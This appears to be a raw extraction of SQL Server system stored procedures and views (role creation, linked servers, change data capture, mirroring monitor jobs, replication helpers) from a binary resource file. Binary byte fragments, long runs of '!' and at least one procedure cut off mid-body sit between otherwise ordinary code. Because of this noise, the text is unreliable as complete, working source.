    @rolename   sysname,        -- name of new role
    @ownername  sysname = NULL  -- name of owner of new role
as
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
	set nocount on
	declare @ret        int,    -- return value of sp call
            @owner      int,
			@stmtR		nvarchar(4000),
			@stmtS		nvarchar(4000)

    -- DISALLOW USER TRANSACTION --
	set implicit_transactions off
	if (@@trancount > 0)
	begin
		raiserror(15002,-1,-1,'sys.sp_addrole')
		return (1)
	end

	exec @ret = sys.sp_validname @rolename
	if @ret <> 0
		return(1)

    if @ownername is null
        select @ownername = user_name()

	set @stmtR = 'create role '
	set @stmtR = @stmtR + quotename(@rolename, ']')
	set @stmtR = @stmtR + ' authorization '
	set @stmtR = @stmtR + quotename(@ownername, ']')

	-- Create Schema if not one exists with same name and owner
	set @stmtS = 'create schema '
	set @stmtS = @stmtS + quotename(@rolename, ']')
	set @stmtS = @stmtS + ' authorization '
	set @stmtS = @stmtS + quotename(@rolename, ']')
	
	BEGIN TRANSACTION

    -- issue DDL to create the role --
	exec (@stmtR)	
	if @@error <> 0
	begin
		ROLLBACK TRANSACTION
		return (1)
	end


	-- create the Schema if not one exists with same name and owner
	declare @schema_uid int
	declare @owner_uid  int
	select @owner_uid  = principal_id from sys.database_principals where name = @rolename
	select @schema_uid = principal_id from sys.schemas where name = @rolename
	if (@schema_uid is null or		-- there is no schema since if there is one, it will have an owner
		@schema_uid <> @owner_uid)  -- for error message
	begin
		exec (@stmtS)
		if @@error <> 0
		begin
			ROLLBACK TRANSACTION
			return (1)
		end
	end

	COMMIT TRANSACTION

    -- RETURN SUCCESS --
    return (0) -- sp_addrole
0'(K@ 
8create procedure sys.sp_addlinkedserver
	@server			sysname,				-- server name
	@srvproduct		nvarchar(128) = NULL,	-- product name (dflt to ss)
	@provider		nvarchar(128) = NULL,	-- oledb provider name
	@datasrc		nvarchar(4000) = NULL,	-- oledb datasource property
	@location		nvarchar(4000) = NULL,	-- oledb location property
	@provstr		nvarchar(4000) = NULL,	-- oledb provider-string property
	@catalog		sysname = NULL			-- oledb catalog property
as
	-- VARIABLES
	declare @retcode	int,
		@srvproduct2	nvarchar(128)

	set @srvproduct2 = @srvproduct

	-- VALIDATE OLEDB PARAMETERS
	if @provider is null
	begin
		-- NO PROVIDER MEANS CANNOT SPECIFY ANY PROPERTIES!
		if	@datasrc is not null or @location is not null or
			@provstr is not null or @catalog is not null
		begin
			raiserror(15426,-1,-1)
			return (1)
		end

		-- THIS MUST BE A WELL-KNOWN "SQL Server" TYPE (DEFAULT IS SS)
		if @srvproduct IS NOT null AND lower(@srvproduct) <> N'sql server'
		begin
			raiserror(15427,-1,-1,@srvproduct)
			return (1)
		end

		-- USE ALL-NULLS FOR SQL-SERVER PROVIDER
		select @srvproduct = NULL
	end
	else if @srvproduct in (N'SQL Server')  -- WELL-KNOWN PRODUCT
	begin
		-- ILLEGAL TO SPECIFY PROVIDER/PROPERTIES FOR SQL Server PRODUCT
		raiserror(15428,-1,-1,@srvproduct)
		return (1)
	end
	else if @srvproduct is null or lower(@srvproduct) like N'%sql server%'
	begin
		raiserror(15429,-1,-1,@srvproduct)
		return (1)
	end

	-- DISALLOW USER TRANSACTION
	set implicit_transactions off
	if @@trancount > 0
	begin
		raiserror(15002,-1,-1,'sys.sp_addlinkedserver')
		return (1)
	end

	BEGIN TRANSACTION

	-- ADD THE LINKED-SERVER
	EXEC @retcode = sys.sp_MSaddserver_internal @server,
				@srvproduct, @provider, @datasrc, @location, @provstr, @catalog,
				1, 0			-- @linkedstyle, @localentry

	if( @retcode = 0 )
	begin
		-- EMDEventType(x_eet_Create_Linked_Server), EMDUniversalClass(x_eunc_Server), src major id, src minor id, src name
		-- -1 means ignore target stuff, target major id, target minor id, target name,
		-- # of parameters, 5 parameters
		-- Note: we do not pass @provstr since it can contain passwords
		EXEC %%System().FireTrigger(ID = 225, ID = 102, ID = 0, ID = 0, Value = @server,
			ID = -1, ID = 0, ID = 0, Value = NULL, 
			ID = 7, Value = @server, Value = @srvproduct2, Value = @provider, Value = @datasrc, Value = @location, Value = NULL, Value = @catalog)


		COMMIT TRANSACTION
		-- SUCCESS
		return (0) -- sp_addlinkedserver
	end
	else if( @retcode = 2 )
	begin
		ROLLBACK
		raiserror(15028,-1,-1,@server);
		return (1)
	end
	else 
	begin
		ROLLBACK
		return (1)
	end

0|U @8-- Creation of sp_cursor_list

create procedure sys.sp_cursor_list
(
   @cursor_return CURSOR VARYING OUTPUT,
   @cursor_scope int
)
AS

if (@cursor_scope < 1) OR (@cursor_scope > 3)
	begin
		/* Raise an error: ?The value of parameter  is invalid? */
		raiserror ( 16902, 1, 1,N'sys.sp_cursor_list', N'@cursor_scope')
		return (1)
	end

if ( @cursor_scope  < 3)
begin
	set @cursor_return =  CURSOR LOCAL SCROLL DYNAMIC FOR
			    	SELECT reference_name, cursor_name, cursor_scope,
					status, model, concurrency, scrollable,
					open_status, cursor_rows, fetch_status,
					column_count, row_count, last_operation,
					cursor_handle
				FROM sys.syscursorrefs scr, sys.syscursors sc
				WHERE 	scr.cursor_scope = @cursor_scope AND
					scr.cursor_handl = sc.cursor_handle
				ORDER BY cursor_handle
				FOR READ ONLY
end
else
begin
	set @cursor_return =  CURSOR LOCAL SCROLL DYNAMIC FOR
			    	SELECT reference_name, cursor_name, cursor_scope,
					status, model, concurrency, scrollable,
					open_status, cursor_rows, fetch_status,
					column_count, row_count, last_operation,
					cursor_handle
				FROM sys.syscursorrefs scr, sys.syscursors sc
				WHERE scr.cursor_handl = sc.cursor_handle
				ORDER BY cursor_handle
				FOR READ ONLY
end
open @cursor_return
0+ C8
create procedure [sys].[sp_cdc_get_captured_columns]  				
(														
	@capture_instance		sysname
)														
as
begin

    -- Verify database is currently enabled for change data capture
    if ([sys].[fn_cdc_is_db_enabled]() != 1)
    begin
		declare @db_name sysname
		set @db_name = db_name()
		raiserror(22901, 16, -1, @db_name)
        return 1
    end
	
	set @capture_instance = rtrim(@capture_instance)	
			
	if (@capture_instance is null) or (@capture_instance = N'')
	begin
		raiserror(22963, 16, -1, N'@capture_instance')
		return 1 
	end

	if ([sys].[fn_cdc_has_select_access](rtrim(@capture_instance)) = 0)
	begin
		raiserror(22981, 16, -1)
		return 1 
	end

	exec sys.sp_cdc_captured_columns @capture_instance 
		
	return 0
end																
0uS@ h8Y:h>8^}\t publication information
    select @publisher = srvname, @publisher_db = publisher_db, @publication = publication from 
        MSsnapshot_agents, master.dbo.sysservers where
        job_id = @job_id and
        srvid = publisher_id

    -- Remove the publication and snapshot agent
    exec @retcode = sys.sp_MSdrop_publication
        @publisher = @publisher,
        @publisher_db = @publisher_db,
        @publication = @publication 
    if @@ERROR <> 0 or @retcode <> 0
        return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!5	`"
<%	^0٪0@ !8create procedure sys.sp_dbmmonitoraddmonitoring 
(
    @update_period		int = 1	-- in minutes
)
as
begin	
	set nocount on
	-- check to see if SYSADMIND
	if (is_srvrolemember(N'sysadmin') <> 1 )
    begin
		raiserror(21089, 16, 1)
		return (1)
	end

	declare @retcode		int,
			@category_id	int,
			@jobid			binary(16),
			@jobname		nvarchar( 256 ),
			@schedname		nvarchar( 256 )

	select @jobname   = isnull( formatmessage( 32047 ), N'Database Mirroring Monitor Job' )
	select @schedname = isnull( formatmessage( 32048 ), N'Database Mirroring Schedule' )

	-- Validate update_period to make sure that it is a reasonable number. 1 - 120 minutes for now. This value is int.
	-- Do not forget to change this in the sys.sp_dbmmonitorchangemonitoring below.
	if (@update_period < 1 or @update_period > 120)
	begin
 		raiserror ( 32032, 16, 1, @update_period )	-- specific message for the update period.
		return 1 
	end
	-- Find out if job is already there
	select @jobid = job_id, @category_id = category_id
        from msdb.dbo.sysjobs_view 
        where name = @jobname
	-- If the job already exists, error out
	if (@jobid is not null)	
	begin
		raiserror( 32033, 16, 1 )
		return 1 
	end

	-- By default, this job may run as the sql job agent.
	--
	exec @retcode = msdb.dbo.sp_add_job @job_name=@jobname, 
			@enabled=1, 
			@notify_level_eventlog=0, 
			@notify_level_email=2, 
			@notify_level_netsend=2, 
			@notify_level_page=2, 
			@delete_level=0, 
			@category_name=N'', -- TO DO: get another catagory_name.
			@job_id = @jobid output
	if (@@error != 0 or @retcode != 0 )
	begin
		raiserror( 32034, 16, 1 )
		return 1
	end

	exec @retcode = msdb.dbo.sp_add_jobserver @job_name=@jobname, @server_name = @@servername
	if ( @@error != 0 or @retcode != 0 )
	begin
		raiserror( 32034, 16, 2 )
		return 1
	end
	exec @retcode = msdb.dbo.sp_add_jobstep @job_name=@jobname,
			@step_name=N'', 
			@step_id=1, 
			@cmdexec_success_code=0, 
			@on_success_action=1, 
			@on_fail_action=2, 
			@retry_attempts=0, 
			@retry_interval=0, 
			@os_run_priority=0, @subsystem=N'TSQL', 
			@command=N'exec sys.sp_dbmmonitorupdate ', 
			@database_name=N'msdb', 
			@flags=0
	if ( @@error != 0 or @retcode != 0 )
	begin
		raiserror( 32034, 16, 3 )
		return 1
	end
	exec @retcode = msdb.dbo.sp_update_job @job_name=@jobname, 
			@enabled=1, 
			@start_step_id=1, 
			@notify_level_eventlog=0, 
			@notify_level_email=2, 
			@notify_level_netsend=2, 
			@notify_level_page=2, 
			@delete_level=0, 
			@description=N'', 
			@category_name=N'',  -- TO DO: get a catagory context: get from tools team.
			@notify_email_operator_name=N'', 
			@notify_netsend_operator_name=N'', 
			@notify_page_operator_name=N''
	if ( @@error != 0 OR @retcode != 0 )
	begin
		raiserror( 32034, 16, 4 )
		return 1
	end
	-- TO DO: if the job is already there, then we do not need to do these.
	-- TO DO: use the job_id for referencing the job.

	exec @retcode = msdb.dbo.sp_add_jobschedule @job_name=@jobname, @name=@schedname, 
			@enabled=1, 
			@freq_type=4, 
			@freq_interval=1, 
			@freq_subday_type=4,					-- this is in minutes
			@freq_subday_interval=@update_period,	-- this comes from the input to the proc.
			@freq_relative_interval=0, 
			@freq_recurrence_factor=1, 
			@active_start_date=null,
			@active_end_date=99991231, 
			@active_start_time=0, 
			@active_end_time=235959

	if ( @@error != 0 OR @retcode != 0 )
	begin
		raiserror( 32034, 16, 5 )
		return 1
	end
	
	return 0
end
0@ 8CREATE VIEW sys.indexes$ AS
	SELECT id AS object_id,
		indid AS index_id,
		rowset
	FROM sys.sysidxstats
	WHERE indid < 256000 AND (status & 1) = 1 -- IS_INDEX
0: 8
create procedure sys.sp_procedure_params_100_managed
(
	@procedure_name 	sysname,
	@group_number		int = 1,
	@procedure_schema	sysname = null,
	@parameter_name 	sysname = null
)
as
	select
		PARAMETER_NAME,
		PARAMETER_TYPE,
		MANAGED_DATA_TYPE,
		CHARACTER_MAXIMUM_LENGTH,
		NUMERIC_PRECISION,
		NUMERIC_SCALE,
		TYPE_CATALOG_NAME			= SS_TYPE_CATALOG_NAME,
		TYPE_SCHEMA_NAME			= SS_TYPE_SCHEMANAME,
		TYPE_NAME,
		XML_CATALOGNAME 			= SS_XML_SCHEMACOLLECTION_CATALOGNAME,
		XML_SCHEMANAME				= SS_XML_SCHEMACOLLECTION_SCHEMANAME,
		XML_SCHEMACOLLECTIONNAME	= SS_XML_SCHEMACOLLECTIONNAME,
		SS_DATETIME_PRECISION

	from
		sys.fn_procedure_params_90_rowset(
			@procedure_name,
			@group_number,
			@procedure_schema,
			@parameter_name)

	order by PROCEDURE_SCHEMA, PROCEDURE_NAME, ORDINAL_POSITION
	option (OPTIMIZE CORRELATED UNION ALL)
0ˢ@ D8Fh"0ɲ 8create procedure sys.sp_cdc_verify_index_name
(
	@source_schema sysname,
	@source_name sysname,
	@index_name sysname
)	
as
begin
	declare @retcode int
		,@is_primary_key bit
		,@is_unique bit
		,@is_disabled bit
	
    set nocount on

	-- Verify that the provided index is an index for the source table
	select @is_primary_key = i.is_primary_key,
		@is_unique = i.is_unique,
		@is_disabled = i.is_disabled
	from [sys].[indexes] i 
	where object_id(@source_schema + '.' + @source_name) = i.object_id
	and @index_name = i.name

	if ((@is_primary_key is null) and (@is_unique is null))			
	begin
		raiserror(22928, 16, -1, @index_name, @source_schema, @source_name)
		return 1
	end
	
	-- Verify that the index is either a primary key or a unique index
	if ((@is_primary_key = 0) and (@is_unique = 0))			
	begin
		raiserror(22929, 16, -1, @index_name, @source_schema, @source_name)
		return 1
	end
	
	-- Verify that the index is not currently disabled 
	if (@is_disabled = 1) 	
	begin
		raiserror(22980, 16, -1, @index_name, @source_schema, @source_name)
		return 1
	end
	
	-- Verify that the index does not contain nullable columns
	if exists
		(	select *
			from [sys].[indexes] i
			inner join [sys].[index_columns] ic
				on i.object_id = ic.object_id and
				   i.index_id = ic.index_id
			inner join [sys].[columns] c
				on ic.column_id = c.column_id and
				   ic.object_id = c.object_id
			where i.name = @index_name
			and   c.is_nullable = 1	
			and   c.object_id = object_id(@source_schema + '.' + @source_name)
		)
	begin
		raiserror(22838, 16, -1, @index_name, @source_schema, @source_name)
		return 1
	end
	
	return 0
end
0c@ D8?Sh
*
0@ N8create procedure sys.sp_MSenumcolumnslightweight
	@pubid uniqueidentifier,
	@artid uniqueidentifier
AS
    declare @retcode	int
    declare @procname	sysname
	declare @postfix	nchar(32)

	exec @retcode= sys.sp_MSreplcheck_publish
	if @@error <> 0 or @retcode <> 0 return (1)


	select @postfix= procname_postfix
		from dbo.sysmergearticles 
		where artid = @artid and pubid = @pubid
	
	set @procname= quotename('MSmerge_lws_sp_multi_' + @postfix)

	exec @retcode= @procname @action=6
	if @@error<>0 or @retcode<>0 return (1)

	return 0
0@ 28create procedure sys.sp_MSsubtractbm
	@bm1 varbinary(128),
	@bm2 varbinary(128),
	@bmout varbinary(128) output
as
	declare @len1 int
	set @len1= datalength(@bm1)
	declare @len2 int
	set @len2= datalength(@bm2)

	declare @idx int
	set @idx= 1

	while @idx <= @len2
	begin
		if 1=@idx
		begin
			set @bmout= cast(substring(@bm1, @idx, 1) as tinyint) ^ cast(substring(@bm2, @idx, 1) as tinyint)
			if @@error<>0 return 1
		end
		else
		begin
			set @bmout= @bmout + cast(cast(substring(@bm1, @idx, 1) as tinyint) ^ cast(substring(@bm2, @idx, 1) as tinyint) as varbinary)
			if @@error<>0 return 1
		end

		set @idx= @idx+1
	end

	if @len1 > @len2
	begin
		set @bmout= @bmout + substring(@bm1, @idx, @len1-@len2)
		if @@error<>0 return 1
	end

	return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Gf`	s<K
V80{ 8
create view sys.spt_procedure_params_return_values_view
as
    select
    -- begin (for doing joins)
        object_id                   = o.object_id,
        schema_id                   = o.schema_id,
        procedure_number            = case
                                        when o.type in ('P', 'PC') then 1    -- default, other numbered versions are below
                                        else                            0    -- all UDFs have number of 0
                                      end,
        type                        = o.type,
    -- end (for doing joins)
        PROCEDURE_CATALOG           = db_name(),
        PROCEDURE_SCHEMA            = schema_name(o.schema_id),
        PROCEDURE_NAME              = o.name,
        PARAMETER_NAME              = convert(sysname,
                                                case
                                                when o.type in ('P', 'PC') then '@RETURN_VALUE'
                                                else                            '@TABLE_RETURN_VALUE'
                                                end) collate catalog_default,
        ORDINAL_POSITION            = convert(smallint,0),
        PARAMETER_TYPE              = convert(smallint, 4), --DBPARAMTYPE_RETURNVALUE
        PARAMETER_HASDEFAULT        = convert(tinyint, 0),
        PARAMETER_DEFAULT           = convert(nvarchar(255),null),
        IS_NULLABLE                 = convert(bit,0),
        DATA_TYPE                   = convert(smallint,
                                                case
                                                when o.type in ('P', 'PC') then 3 -- DBTYPE_I4
                                                else                            0 -- DBTYPE_EMPTY
                                                end),
        CHARACTER_MAXIMUM_LENGTH    = convert(int,null),
        CHARACTER_OCTET_LENGTH      = convert(int,null),
        NUMERIC_PRECISION           = convert(smallint,
                                                case
                                                when o.type in ('P', 'PC') then 10
                                                else                            null
                                                end),
        NUMERIC_SCALE               = convert(smallint,null),
        DESCRIPTION                 = convert(nvarchar(50),
                                                case
                                                when o.type in ('P', 'PC') then null
                                                else                            N'Result table returned by table valued function'
                                                end),
        TYPE_NAME                   = convert(sysname,
                                                case
                                                when o.type in ('P', 'PC') then N'int'
                                                else                            N'table'
                                                end) collate catalog_default,
        LOCAL_TYPE_NAME             = convert(sysname,
                                                case
                                                when o.type in ('P', 'PC') then N'int'
                                                else                            N'table'
                                                end) collate catalog_default,
        SS_XML_SCHEMACOLLECTION_CATALOGNAME = convert(sysname,null),
        SS_XML_SCHEMACOLLECTION_SCHEMANAME  = convert(sysname,null) collate catalog_default,
        SS_XML_SCHEMACOLLECTIONNAME = convert(sysname,null) collate catalog_default,
        SS_UDT_CATALOGNAME          = convert(sysname,null),
        SS_UDT_SCHEMANAME           = convert(sysname,null) collate catalog_default,
        SS_UDT_NAME                 = convert(sysname,null) collate catalog_default,
        SS_UDT_ASSEMBLY_TYPENAME    = convert(sysname,null) collate Latin1_General_BIN,
        SS_TYPE_CATALOG_NAME        = convert(sysname,null),
        SS_TYPE_SCHEMANAME          = convert(sysname,null) collate catalog_default,
        MANAGED_DATA_TYPE           = convert(smallint,
                                                case
                                                when o.type in ('P', 'PC') then 8 -- SqlDbType.Int
                                                else                           23 -- SqlDbType.Variant
                                                end),
        SS_DATETIME_PRECISION       = convert(int,null)
    from
        sys.all_objects o -- we can not use sys.procedures, because it doesn't include system procedures :-(

    where
        o.type in ('P', 'TF', 'IF', 'PC') -- SProcs/Table-valued UDFs/Inlined-table-valued UDFs

    UNION ALL

    select -- Generating @RETURN_VALUE for numbered SProcs.
    -- begin (for doing joins)
        object_id                   = pro.object_id,
        schema_id                   = pro.schema_id,
        procedure_number            = s_np.procedure_number,
        type                        = convert(char(2), 'P'),
    -- end (for doing joins)
        PROCEDURE_CATALOG           = db_name(),
        PROCEDURE_SCHEMA            = schema_name(pro.schema_id),
        PROCEDURE_NAME              = pro.name,
        PARAMETER_NAME              = convert(sysname, '@RETURN_VALUE') collate catalog_default,
        ORDINAL_POSITION            = convert(smallint,0),
        PARAMETER_TYPE              = convert(smallint, 4), --DBPARAMTYPE_RETURNVALUE
        PARAMETER_HASDEFAULT        = convert(tinyint, 0),
        PARAMETER_DEFAULT           = convert(nvarchar(255),null),
        IS_NULLABLE                 = convert(bit,0),
        DATA_TYPE                   = convert(smallint, 3), -- DBTYPE_I4
        CHARACTER_MAXIMUM_LENGTH    = convert(int,null),
        CHARACTER_OCTET_LENGTH      = convert(int,null),
        NUMERIC_PRECISION           = convert(smallint, 10),
        NUMERIC_SCALE               = convert(smallint,null),
        DESCRIPTION                 = convert(nvarchar(50), null),
        TYPE_NAME                   = convert(sysname, N'int') collate catalog_default,
        LOCAL_TYPE_NAME             = convert(sysname, N'int') collate catalog_default,
        SS_XML_SCHEMACOLLECTION_CATALOGNAME = convert(sysname,null),
        SS_XML_SCHEMACOLLECTION_SCHEMANAME  = convert(sysname,null) collate catalog_default,
        SS_XML_SCHEMACOLLECTIONNAME = convert(sysname,null) collate catalog_default,
        SS_UDT_CATALOGNAME          = convert(sysname,null),
        SS_UDT_SCHEMANAME           = convert(sysname,null) collate catalog_default,
        SS_UDT_NAME                 = convert(sysname,null) collate catalog_default,
        SS_UDT_ASSEMBLY_TYPENAME    = convert(sysname,null) collate Latin1_General_BIN,
        SS_TYPE_CATALOG_NAME        = convert(sysname,null),
        SS_TYPE_SCHEMANAME          = convert(sysname,null) collate catalog_default,
        MANAGED_DATA_TYPE           = convert(smallint, 8), -- SqlDbType.Int
        SS_DATETIME_PRECISION       = convert(int,null)
    from
        sys.procedures pro inner join
        sys.numbered_procedures s_np on (s_np.object_id = pro.object_id)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<OnL&w0_8 	8create procedure sys.sp_certify_removable  --1996/03/12 12:02
        @dbname sysname,
        @autofix nvarchar(4) = null
as

	set nocount on
	declare @ret_value int,
		@char_autofix varchar(25)
	declare @exec_stmt nvarchar(max)
		

	if (not (is_srvrolemember('sysadmin') = 1))  -- Make sure that it is the SA executing this.
	begin
		raiserror(15247,-1,-1)
		return(1)
	end

	-- sp_certify_removable does not allow outer transaction in the end
	set implicit_transactions off
	if (@@trancount > 0)
	begin
		raiserror(15002,-1,-1,'sys.sp_certify_removable')
		return (1)
	end

	select @autofix = lower(@autofix)

	if @autofix <> 'auto' and @autofix is not null
	begin
		raiserror(15255,-1,-1,@autofix)
		return(1)
	end

	if @dbname is null      -- Show usage diagram if no dbname supplied.
	begin
		raiserror(15256,-1,-1)
		return(1)
	end

	-- See if DB exists.
	if not exists (select * from master.dbo.sysdatabases where name = @dbname)
	begin
		raiserror(15010,-1,-1,@dbname)
		return(1)
	end

	-- Cannot take master, tempdb or model databases offline.
	if lower(@dbname) in ('master','tempdb','model')
	begin
		raiserror(15266,-1,-1,@dbname)
		return(1)
	end

	-- Will not be able to take db offline if user is in it.
	if @dbname = db_name()
	begin
		raiserror(15257,-1,-1)
		return(1)
	end

	-------------  Check things that exist only in the db.  -------------------
	select @char_autofix = (case
		when @autofix is not null then '''auto'''
		else                           'null'
		end)


	select @exec_stmt =
		'use ' + quotename(@dbname) + '

		declare @inx_ret_value int ,@int1 int
		select  @inx_ret_value = 1

		EXEC @inx_ret_value = sys.sp_check_removable ' + @char_autofix + '

		--Use @@rowcount for a user_assignable global variable for communication.
		if @inx_ret_value <> 0	--bad!!!!
			select @int1 = 1
		else
			select @int1 = 1 where 1=2
		'
	EXEC (@exec_stmt)

	if @@rowcount > 0
		return (1)  -- Error was returned by other proc, so exit

	-- Take it offline
	raiserror('' ,0,1)
	-- construct the ALTER DATABASE command string
	select @exec_stmt = 'ALTER DATABASE ' + quotename(@dbname) +' SET OFFLINE WITH NO_WAIT'
	EXEC (@exec_stmt)

	return(0)	-- sp_certify_removable
09 8-- FOR BACKWARD COMPATIBILTY ONLY --
create procedure sys.sp_dropsrvrolemember
    @loginame sysname,			-- login name
    @rolename sysname = NULL	-- server role name
as
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
	set nocount on
	declare @ret        int,    -- return value of sp call
			@stmtR		nvarchar(4000)

    -- Was a part of check to prevent inside a user Xact. Leave for backward compat.--
	set implicit_transactions off

	exec @ret = sys.sp_validname @rolename
	if @ret <> 0
		return(1)

	exec @ret = sys.sp_validname @loginame
	if @ret <> 0
		return(1)

	set @stmtR = 'alter server role '
	set @stmtR = @stmtR + quotename(@rolename, ']')
	set @stmtR = @stmtR + ' drop member '
	set @stmtR = @stmtR + quotename(@loginame, ']')

    -- issue DDL to create the role --
	exec (@stmtR)	
	if @@error <> 0
    begin
	    return (1)
    end

    -- RETURN SUCCESS --
	return (0) -- sp_dropsrvrolemember
0֩ 8 
-- add it
create view sys.dm_pdw_nodes_os_latch_stats as
select *, convert(int, null) pdw_node_id from sys.dm_os_latch_stats
06! H8CREATE VIEW sys.dm_hadr_internal_availability_replica_states AS
	SELECT
		replica_id = IntArStates.replica_id,
		group_id = IntArStates.group_id,
		is_local = IntArStates.is_local,
		role = IntArStates.role,
		role_desc = CASE
			WHEN (role = 0) THEN CAST ('RESOLVING' as nvarchar(60))
			WHEN (role = 1) THEN CAST ('PRIMARY' as nvarchar(60))
			WHEN (role = 2) THEN CAST ('SECONDARY' as nvarchar(60))
			WHEN (role = 3) THEN CAST ('INVALID' as nvarchar(60))
			ELSE CAST (NULL AS nvarchar(60)) END,
		operational_state,
		operational_state_desc = CASE
			WHEN (operational_state = 0) THEN CAST ('PENDING_FAILOVER' AS nvarchar(60))
			WHEN (operational_state = 1) THEN CAST ('PENDING' AS nvarchar(60))
			WHEN (operational_state = 2) THEN CAST ('ONLINE' AS nvarchar(60))
			WHEN (operational_state = 3) THEN CAST ('OFFLINE' AS nvarchar(60))
			WHEN (operational_state = 4) THEN CAST ('FAILED' AS nvarchar(60))
			WHEN (operational_state = 5) THEN CAST ('FAILED_NO_QUORUM' AS nvarchar(60))
			WHEN (operational_state = 6) THEN CAST ('INVALID' AS nvarchar(60))
			ELSE CAST (NULL AS nvarchar(60)) END,
		connected_state,
		connected_state_desc = CASE 
			WHEN (connected_state = 0) THEN CAST ('DISCONNECTED' AS nvarchar(60))
			WHEN (connected_state = 1) THEN CAST ('CONNECTED' AS nvarchar(60))
			ELSE CAST (NULL AS nvarchar(60)) END,
		last_connect_error_number,
		last_connect_error_description,
		last_connect_error_timestamp,
		configured_database_count
	FROM
		OpenRowset(TABLE DM_HADR_INTERNAL_AVAILABILITY_REPLICA_STATES) AS IntArStates
0
6@ 8
create procedure sys.sp_replsync (
    @publisher sysname,    
    @publisher_db sysname,        
    @publication sysname,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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!0
E
o	`t<gK0& 8CREATE FUNCTION sys.dm_db_missing_index_columns (@handle int)
RETURNS TABLE
AS
	RETURN SELECT * 
		FROM OPENROWSET(TABLE MISSING_IDX_COLUMNS, @handle)
05 J8create procedure sys.sp_MSmerge_dropdownlevelprocs
    @artid uniqueidentifier,
    @pubid uniqueidentifier
as
    declare @procname sysname
    declare @cmd nvarchar(1000)
    declare @procsuffix nvarchar(100)

    -- drop the ins/upd/sel procs which have names like sp_ins_*
    select @procsuffix = sys.fn_MSmerge_getartprocsuffix(@artid, @pubid)
    select @procname = 'sp_ins_' + @procsuffix
    if object_id(@procname, 'P') is not NULL
    begin
        select @cmd = 'drop procedure ' + @procname
        exec (@cmd)
        if @@error<>0
            goto error
    end

    select @procname = 'sp_upd_' + @procsuffix
    if object_id(@procname, 'P') is not NULL
    begin
        select @cmd = 'drop procedure ' + @procname
        exec (@cmd)
        if @@error<>0
            goto error
    end
    
    select @procname = 'sp_sel_' + @procsuffix
    if object_id(@procname, 'P') is not NULL
    begin
        select @cmd = 'drop procedure ' + @procname
        exec (@cmd)
        if @@error<>0
            goto error
    end

    select @procname = 'sp_sel_' + @procsuffix + '_pal'
    if object_id(@procname, 'P') is not NULL
    begin
        select @cmd = 'drop procedure ' + @procname
        exec (@cmd)
        if @@error<>0
            goto error
    end

    select @procname = 'sel_' + @procsuffix
    if object_id(@procname, 'P') is not NULL
    begin
        select @cmd = 'drop procedure ' + @procname
        exec (@cmd)
        if @@error<>0
            goto error
    end

    select @procname = 'sp_cft_' + @procsuffix
    if object_id(@procname, 'P') is not NULL
    begin
        select @cmd = 'drop procedure ' + @procname
        exec (@cmd)
        if @@error<>0
            goto error
    end

    return 0
    
error:
    return 1
